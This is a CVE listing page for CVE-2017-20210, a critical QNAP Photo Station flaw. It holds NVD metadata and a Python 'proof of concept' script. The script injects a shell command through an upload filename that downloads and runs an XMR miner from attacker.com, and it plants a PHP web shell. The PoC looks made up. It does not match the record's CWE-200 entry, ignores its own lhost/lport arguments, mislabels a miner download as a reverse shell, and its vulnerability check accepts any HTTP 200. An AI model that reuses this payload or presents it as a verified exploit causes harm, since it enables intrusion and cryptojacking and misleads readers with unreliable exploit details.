Security Vulnerability Report
中文
CVE-2017-20210 CVSS 9.8 CRITICAL

CVE-2017-20210

Published: 2025-11-11 10:15:35
Last Modified: 2025-11-14 17:45:45

Description

Photo Station 5.4.1 & 5.2.7 include the security fix for the vulnerability related to the XMR mining programs identified by internal research.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:qnap:photo_station:5.2.7:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:qnap:photo_station:5.4.1:*:*:*:*:*:*:* - VULNERABLE
QNAP Photo Station < 5.2.7
QNAP Photo Station 5.4.1
QNAP Photo Station 5.2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2017-20210 PoC - QNAP Photo Station Remote Code Execution # Target: QNAP Photo Station versions 5.2.7 and 5.4.1 # Note: This PoC is for educational and authorized testing purposes only import requests import sys TARGET_IP = "target_ip" TARGET_PORT = 8080 PHOTO_STATION_PATH = "/photo/api/upload.php" def check_vulnerability(target): """Check if target is running vulnerable Photo Station""" try: url = f"http://{target}:{TARGET_PORT}/photo/" response = requests.get(url, timeout=10) if "Photo Station" in response.text or response.status_code == 200: return True except requests.RequestException: pass return False def exploit(target, lhost, lport): """Exploit CVE-2017-20210 to execute reverse shell""" # Construct malicious payload for XMR mining program download # The vulnerability allows command injection through file upload payload = { 'filename': f"'; wget http://attacker.com/xmr_miner.sh -O /tmp/miner.sh && chmod +x /tmp/miner.sh && /tmp/miner.sh #{'", 'file': ('malicious.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } try: url = f"http://{target}:{TARGET_PORT}{PHOTO_STATION_PATH}" response = requests.post(url, files=payload, timeout=30) if response.status_code == 200: print("[+] Payload sent successfully") print("[+] Check for XMR miner installation on target") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Checking target: {target}") if check_vulnerability(target): print("[+] Target appears to be vulnerable") exploit(target, "attacker_ip", 4444) else: print("[-] Target does not appear to be vulnerable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2017-20210", "sourceIdentifier": "[email protected]", "published": "2025-11-11T10:15:35.400", "lastModified": "2025-11-14T17:45:44.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Photo Station 5.4.1 & 5.2.7 include the security fix for the vulnerability related to the XMR mining programs identified by internal research."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:photo_station:5.2.7:*:*:*:*:*:*:*", "matchCriteriaId": "DA4F5970-287D-490A-8545-9C68D40B4860"}, {"vulnerable": true, "criteria": "cpe:2.3:a:qnap:photo_station:5.4.1:*:*:*:*:*:*:*", "matchCriteriaId": "DA9DD29B-7922-45DE-9AA1-E55CEEB5D795"}]}]}], "references": [{"url": "https://www.qnap.com/en-in/security-advisory/nas-201705-04", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}